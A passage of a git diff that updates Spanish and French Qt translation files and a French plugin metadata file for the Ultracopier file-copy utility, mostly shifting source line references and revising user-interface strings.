+ <source>English text missing in the informations.xml for the tag: %1</source>
+ <translation>Texto Inglés falta en el informations.xml para la etiqueta: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation>Etiqueta no encontrada: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation>¿Estás seguro de eliminar &quot;%1&quot; en la versión %2?</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation>Error al eliminar el plug-in, por favor, compruebe los derechos de la carpeta:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation>Previo de importación está en curso ...</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation>Abrir Plugin Ultracopier</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation>Ultracopier plugin (*.urc)</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation>Plugin cargador</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation>No se puede abrir el plugin: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation>No se puede cargar el contenido del plugin, por favor verifique que: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation>No se puede crear una carpeta para instalar el plugin:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
@@ -1001,16 +1326,16 @@ since:%2</source>
desde: %2</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation>Carpeta con el mismo nombre está presente, no tome la instalación del plugin:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation>
@@ -1022,44 +1347,44 @@ No se puede cargar el contenido del plugin, por favor verifique que</translation
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation>La asignación de memoria no</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation>Error de escritura</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation>Limitar el uso de la memoria alcanza</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation>No es un. Xz archivo</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation>Opciones no admitidas en los encabezados. Xz</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation>El archivo está dañado</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation>Bug!</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation>Los datos de entrada es demasiado corto</translation>
</message>
@@ -1067,87 +1392,139 @@ No se puede cargar el contenido del plugin, por favor verifique que</translation
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
- <source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
- <translation></translation>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
+ <source>Information</source>
+ <translation type="unfinished">Información</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
- <source>Information</source>
- <translation>Información</translation>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
+ <translation type="unfinished">Buscar información...</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
- <translation>Buscar información...</translation>
+ <source>Not replace the explorer copy/move</source>
+ <translation type="obsolete">No reemplazar la copia explorador/mover</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
- <translation>No captura la explorer copia/movimiento</translation>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
+ <source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
+ <translation type="unfinished">No sustituya la copia explorer/move</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
- <translation>Semi captura de la explorer copia/movimiento</translation>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
+ <translation type="unfinished">Semi reemplazar la copia explorer/mudanza</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
- <translation>La captura de la explorer copia/movimiento</translation>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
+ <translation type="unfinished">Vuelva a colocar la copia explorer/mudanza</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
- <translation>Advertencia</translation>
+ <translation type="unfinished">Advertencia</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
- <translation>Acción en el icono de la bandeja del sistema es desconocido!</translation>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
+ <translation type="unfinished">La acción en el icono de la bandeja del sistema es desconocido!</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
- <translation>&amp;Acerca de/Debug informe</translation>
+ <translation type="unfinished">&amp;Acerca de/Debug informe</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
- <translation>&amp;Sobre</translation>
+ <translation type="unfinished">&amp;Sobre</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished">Nueva versión: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished">Haga clic aquí para ir a la página de descarga</translation>
+ </message>
+ <message>
+ <source>Click here to go to the shop and login.
+Download the new version into the order details</source>
+ <translation type="obsolete">Haga clic aquí para ir a la tienda y al acceso.
+Descarga la nueva versión en los detalles de la orden</translation>
+ </message>
+ <message>
+ <source>&amp;Save bug Report</source>
+ <translation type="obsolete">&amp;Guardar informe de error</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished">&amp;Guardar informe de error</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
- <translation>&amp;Dejar de</translation>
+ <translation type="unfinished">&amp;Dejar de</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
- <translation>&amp;Opciones</translation>
+ <translation type="unfinished">&amp;Opciones</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
- <translation>Aña&amp;dir copiar/mover</translation>
+ <translation type="unfinished">Aña&amp;dir copiar/mover</translation>
+ </message>
+ <message>
+ <source>New version: %1
+Site: %2</source>
+ <translation type="obsolete">Nueva versión: %1
+Sitio web: %2</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished">&amp;Copia</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished">&amp;Transferencia</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished">&amp;Movimiento</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
- <translation>Agregar &amp;copia</translation>
+ <translation type="unfinished">Agregar &amp;copia</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
- <translation>Añadir &amp;transferencia</translation>
+ <translation type="unfinished">Añadir &amp;transferencia</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
- <translation>Añadir &amp;movimiento</translation>
+ <translation type="unfinished">Añadir &amp;movimiento</translation>
</message>
</context>
</TS>
diff --git a/plugins/Languages/fr/flag.png b/plugins/Languages/fr/flag.png
index b74ec94..95c8921 100644
--- a/plugins/Languages/fr/flag.png
+++ b/plugins/Languages/fr/flag.png
Binary files differ
diff --git a/plugins/Languages/fr/informations.xml b/plugins/Languages/fr/informations.xml
index 9c2a416..a20768f 100644
--- a/plugins/Languages/fr/informations.xml
+++ b/plugins/Languages/fr/informations.xml
@@ -5,22 +5,21 @@
<!-- What kind of plugin this is -->
<category>Languages</category>
<!-- Who wrote this plugin -->
- <author><![CDATA[BRULE Herman, alpha_one_x86 (alpha_one_x86@first-world.info)]]></author>
+ <author><![CDATA[BRULE Herman, alpha_one_x86 (alpha_one_x86@first-world.info), David Sferruzza (david.sferruzza@gmail.com)]]></author>
<!-- URL of page or site for this plugin (may provide additional information, bug reports, feature requests). -->
<website xml:lang="en"><![CDATA[http://ultracopier-fr.first-world.info/]]></website><!-- not required -->
<website xml:lang="fr"><![CDATA[http://ultracopier-fr.first-world.info/]]></website><!-- not required -->
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to French. Done for version 0.3.0.0. For more details see the web site.]]></description>
- <description xml:lang="fr"><![CDATA[Traduction d'ultracopier en Français. Fait pour la version 0.3.0.0. Pour plus de détails regardez le site web]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to French. For more details see the web site.]]></description>
+ <description xml:lang="fr"><![CDATA[Traduction d'ultracopier en Français. Pour plus de détails regardez le site web]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.1.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>fr</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- <=ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/fr/translation.ts b/plugins/Languages/fr/translation.ts
index 7206152..8f1fc7d 100644
--- a/plugins/Languages/fr/translation.ts
+++ b/plugins/Languages/fr/translation.ts
@@ -4,77 +4,107 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
- <translation>Attention</translation>
+ <translation>Avertissement</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
- <translation>Ultracopier est déjà lancé, clique droit sur l&apos;icon du system tray (pret de l&apos;heure) pour l&apos;utilisé</translation>
+ <translation>Ultracopier est déjà lancé! Cliquez droit sur l&apos;icône de la zone de notifications (près de l&apos;horloge) pour l&apos;utiliser</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
+ <translation>Problème à la lecture, ou taille de fichier nulle</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
+ <translation>Les arguments possible sont:</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
+ <translation>Afficher les options</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
+ <translation>Pour copier les sources vers la destination, séparées par des espaces. Si la destination est &quot;?&quot;, Ultracopier demandera à l&apos;utilisateur</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
+ <translation>Pour copier les sources vers la destination, séparées par des espaces. Si la destination est &quot;?&quot;, Ultracopier demandera à l&apos;utilisateur</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
+ <translation>Ligne de commande invalide</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
<source>Problem at the reading, or file size is null</source>
- <translation>Probléme à la lecture, ou taille de fichier nulle</translation>
+ <translation type="obsolete">Problème à la lecture, ou taille de fichier nulle</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
<source>This file is not supported transfer list</source>
<translation>Ce fichier n&apos;est pas une list de transfert supporté</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
<source>Unable to open the transfer list file</source>
<translation>Impossible d&apos;ouvrir le fichier de liste de transfert</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
<source>The arguments possibles are:</source>
- <translation>Les arguments possible sont:</translation>
+ <translation type="obsolete">Les arguments possible sont:</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
- <translation>Pour avoir cet aide</translation>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation>Pour afficher cette aide</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
- <translation>Pour quiter l&apos;autre instance en cour (si il y as)</translation>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
+ <translation>Pour quiter l&apos;autre instance en cour</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
- <translation>Pour passer une liste de transfert à faire</translation>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
+ <translation>Ouvrir la liste de transfert</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
- <translation>Pour copier des source séparés par un espace vers une destination. Si la destination est un &quot;?&quot;, ultracopier va la demander à l&apos;utilisateur</translation>
+ <source>To quit the other instance running (if have)</source>
+ <translation type="obsolete">Pour quiter l&apos;autre instance en cour (si il y as)</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
- <translation>Même chose qu&apos;au dessus, mais avec un déplacement</translation>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <translation type="obsolete">Pour copier les sources vers la destination, séparées par des espaces. Si la destination est &quot;?&quot;, Ultracopier demandera à l&apos;utilisateur</translation>
+ </message>
+ <message>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <translation type="obsolete">Pour déplacer les sources vers la destination, séparées par des espaces. Si la destination est &quot;?&quot;, Ultracopier demandera à l&apos;utilisateur</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
<source>Command line not understand</source>
- <translation>Ligne de command non comprise</translation>
+ <translation type="obsolete">Ligne de commands non comprise</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation>Aide</translation>
</message>
@@ -82,329 +112,409 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
- <translation>Attention</translation>
+ <translation>Avertissement</translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
+ <translation>Impossible de trouver un moteur avec le support du déplacement</translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
+ <translation>Ce moteur de copie ne supporte pas les déplacements</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
<source>Cannot find any copy engine with motions support</source>
- <translation>Impossible de trouver un moteur de copie avec le support des déplacements</translation>
+ <translation type="obsolete">Impossible de trouver un moteur de copie avec le support des déplacements</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
<source>Cannot find any compatible engine!</source>
<translation>Impossible de trouver un moteur de copie compatible!</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
<source>This copy engine does not support motions</source>
- <translation>Ce moteur de copie ne support pas les déplacements</translation>
+ <translation type="obsolete">Ce moteur de copie ne supporte pas les déplacements</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
- <translation>Impossible de trouvé un moteur avec ce nom: %1</translation>
+ <translation>Impossible de trouver un moteur portant ce nom: %1</translation>
+ </message>
+</context>
+<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation>Erreur</translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation>Erreur pendant la réception de la liste de copy/déplacement
+%1</translation>
</message>
</context>
<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation>Erreur</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation>Impossible d&apos;obtenir une instance du moteur de copie</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation>Grouper des fenêtres</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation>Voulez vous grouper le transfert avec le transfert actuel?</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
+ <translation>Impossible d&apos;otenir une instance du moteur de copie</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation>L&apos;argument pour le mode n&apos;est pas valide</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation>Voulez vous faire une copie? Si vous repondez non alors il sera déplacé.</translation>
+ </message>
+ <message>
<source>The argument for the mode is not understand</source>
- <translation>L&apos;argument pour le mode n&apos;est pas compris</translation>
+ <translation type="obsolete">L&apos;argument pour le mode n&apos;est pas compris</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation>Impossible de charger l&apos;interface, copie annulée</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation>Impossible de charger le moteur de copie, copie annulée</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation>Mode de transfert</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
- <translation>Voulez vous le faire comme une copie? Si-non, cela sera fait comme un déplacement.</translation>
+ <source>Do you want to copy? If you reply no, it will be moved.</source>
+ <translation type="obsolete">Voulez vous faire une copie? Si vous repondez nous alors il sera déplacé.</translation>
+ </message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation>Clef</translation>
+ </message>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
+ <translation>Donnez la clef de ce logiciel, plus d&apos;information sur &lt;a href=&quot;http://ultracopier-fr.first-world.info/&quot;&gt;ultracopier-fr.first-world.info&lt;/a&gt;</translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation>Moteur de copie</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation>Copie</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
